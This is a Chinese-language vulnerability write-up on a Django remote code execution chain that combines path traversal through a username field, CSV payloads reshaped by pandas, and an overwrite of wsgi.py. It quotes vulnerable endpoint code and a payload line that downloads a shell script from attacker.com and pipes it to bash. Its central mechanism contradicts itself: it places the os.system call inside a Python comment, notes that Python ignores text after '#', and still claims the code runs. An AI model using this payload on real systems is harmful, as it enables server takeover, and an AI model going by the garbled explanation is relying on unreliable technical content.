
摘要
本報告詳細描述了一個通過鏈結路徑操縱(Path Manipulation/ Directory Traversal)與CSV解析器濫用在Django應用程式中實現的嚴重遠端程式碼執行(Remote Code Execution, RCE)漏洞。該漏洞鏈結利用了未經消毒(Unsanitized)的使用者輸入在檔案系統路徑中的漏洞、不安全的檔案解析與使用
pandas
函式庫的重寫(Rewriting),以及Django在除錯模式下的自動重新載入行為。這一組合最終允許攻擊者覆寫(Overwrite)關鍵的伺服器端檔案,特別是
wsgi.py
,從而導致任意程式碼執行。本分析聚焦於每個漏洞組件的技術機制及其協同攻擊。

簡介
網頁應用程式經常處理使用者上傳的檔案,如果管理不當,可能會引入安全風險。本研究調查了一個看似無害的檔案上傳功能與常見資料處理函式庫結合導致嚴重RCE漏洞的具體案例。漏洞的核心在於能夠操縱檔案路徑並通過CSV檔案注入惡意程式碼,該檔案隨後由應用程式處理並重新序列化。本報告剖析了此漏洞的技術層面,提供了如何識別和緩解此類缺陷的見解。
應用程式行為與漏洞分析
有漏洞的應用程式允許使用者上傳CSV檔案進行處理。對應用程式行為的關鍵觀察是直接在檔案系統路徑中使用未經適當消毒的
username
欄位,以及使用
pandas.read_csv()
和
df.to_csv()
進行CSV檔案的往返處理後儲存。這種設定為路徑操縱和後續檔案覆寫創造了有利條件。
路徑操縱(Path Manipulation/ Directory Traversal)
應用程式使用
username
欄位來建構檔案路徑,例如
data_store/<username>/file.csv</username>
。通過提交精心設計的
username
值,攻擊者可以操縱檔案寫入位置。例如,
username
值為
../../../../tmp
將導致應用程式將上傳的檔案寫入
/tmp/file.csv
,而不是預期的使用者特定目錄。這種路徑操縱漏洞是漏洞鏈結的基礎元素,允許攻擊者控制上傳檔案的目的地。
CSV解析器濫用
漏洞的更複雜部分涉及對
pandas
CSV解析器的濫用。應用程式使用
pandas.read_csv()
讀取上傳的CSV檔案,然後使用
df.to_csv()
重新序列化。這意味著攻擊者在CSV檔案中的原始payload在儲存到目標檔案之前會被重寫。了解
pandas.to_csv()
的行為對於製作有效的payload至關重要:
- 預設寫入標頭。
- 用逗號填充行以匹配最大欄數。
- 將每個單元格值寫為字串,可能會加上引號。
為了繞過這些轉換並確保惡意程式碼保持可執行Python,攻擊者將payload嵌入Python註解中使用
#
。這種方法確保
to_csv()
添加的任何尾隨垃圾資料被Python解釋器忽略,因為
#
之後的所有內容都被視為註解。這種巧妙的技術允許注入可執行程式碼,同時保持
pandas
和Python解釋器所需的結構完整性。
程式碼執行的目標:wsgi.py
在成功實現檔案覆寫後,下一步是識別應用程式在修改後會自動載入或執行的檔案,以實現遠端程式碼執行(RCE)。Django應用程式中的
wsgi.py
檔案證明是理想的目標。WSGI(Web Server Gateway Interface)規範定義
wsgi.py
為網頁伺服器與Python應用程式互動的入口點。在Django中,此檔案通常暴露一個名為
application
的可呼叫物件。
Django的開發伺服器在除錯模式下運行時,會監控
wsgi.py
的變化並在修改時自動重新載入。這種行為對於漏洞攻擊至關重要,因為這意味著僅需用惡意payload覆寫
wsgi.py
即可觸發其執行。通過小心地製作payload,將惡意程式碼包含在Python註解中,並確保
application = get_wsgi_application()
行保持完整,攻擊者可以在保持Django正常運作所需的結構的同時實現RCE。
漏洞鏈結與技術實現
漏洞鏈結結合了路徑操縱和CSV解析器濫用以實現RCE。該程序包括:
-
製作惡意CSV Payload:
Payload設計為一個有效的CSV檔案,當由
pandas
處理時,將生成包含惡意程式碼的Python檔案,該程式碼位於註解中,後跟原始的application = get_wsgi_application()
行。 -
操縱上傳路徑:
上傳請求中的
username
欄位設定為路徑操縱序列(例如../../../../path/to/target/directory
),以將檔案寫入操作導向wsgi.py
檔案。 -
觸發檔案覆寫和RCE:
在上傳精心設計的CSV檔案並操縱路徑後,應用程式會處理它,重新寫入並儲存到
wsgi.py
位置。Django的自動重新載入機制隨後檢測到變化,重新載入wsgi.py
,並執行注入的惡意程式碼。
範例程式碼片段與分析
原始文章 [1] 提供了應用程式有漏洞的程式碼和漏洞payload的關鍵見解。以下是相關程式碼片段及其分析。
有漏洞的端點邏輯
有漏洞端點的核心邏輯可總結如下:
- username = request.data.get("username")
- upload_file = request.FILES.get("csv_file")
- # ... (一些處理)
- # 使用未經消毒的username建構路徑
- file_path = f"data_store/{username}/file.csv"
- # Pandas處理與重新序列化
- df = pandas.read_csv(upload_file)
- df.to_csv(file_path)
此片段清楚地顯示了在
file_path
建構中直接使用
username
,從而啟用目錄穿越。
pandas.read_csv()
和
df.to_csv()
操作顯示了payload需要能夠承受CSV解析和重新序列化的需求。
惡意CSV Payload
漏洞的關鍵部分是惡意CSV payload。文章展示了一個嵌入CSV檔案中的payload行:
#import os; os.system('curl http://attacker.com/shell.sh | bash'); application = get_wsgi_application()
技術分析:
此payload展示了使用Python註解(
#
)來封裝惡意指令(
import os; os.system('curl http://attacker.com/shell.sh | bash')
)的技術。
application = get_wsgi_application()
部分確保
wsgi.py
檔案在覆寫後仍保持功能,允許Django繼續服務應用程式,同時執行惡意程式碼。
pandas
函式庫在處理此行時將其視為普通CSV行,但Python直譯器將忽略
#
之後的所有內容,有效地僅執行預定的程式碼。
最終漏洞攻擊請求結構
用於實現檔案覆寫的HTTP請求將涉及發送精心設計的CSV檔案以及操縱的
username
參數。雖然原始文章未提供完整請求,但關鍵元素包括:
- POST請求: 發送到有漏洞的檔案上傳端點。
-
username
參數: 包含路徑操縱payload(例如../../../../path/to/target/directory
)。 -
csv_file
參數: 包含惡意CSV payload。
漏洞攻擊的成功由伺服器接收到指令輸出的回呼確認,表明成功實現RCE。
結論
本研究強調了在網頁應用程式開發中嚴格輸入驗證和安全檔案處理實務的關鍵重要性。路徑操縱與CSV解析器濫用的鏈結展示了看似次要的漏洞如何結合以實現嚴重影響,例如遠端程式碼執行。關鍵要點包括:
- 輸入消毒: 所有使用者提供的輸入,特別是用於檔案系統操作的輸入,必須嚴格消毒和驗證,以防止路徑操縱和其他注入攻擊。
- 安全檔案處理: 使用檔案解析和重新序列化的函式庫時,開發者必須了解其內部行為和可能被攻擊的潛在副作用。對處理後資料完整性的假設可能導致漏洞。
- 伺服器設定: 開發伺服器的自動重新載入行為雖然在開發中方便,但在某些環境下若未適當保護或在生產環境中禁用,可能成為安全風險。
通過了解此類漏洞鏈結的技術細節,開發者和安全專業人員可以更好地設計、實現和審計應用程式,以防止類似的漏洞。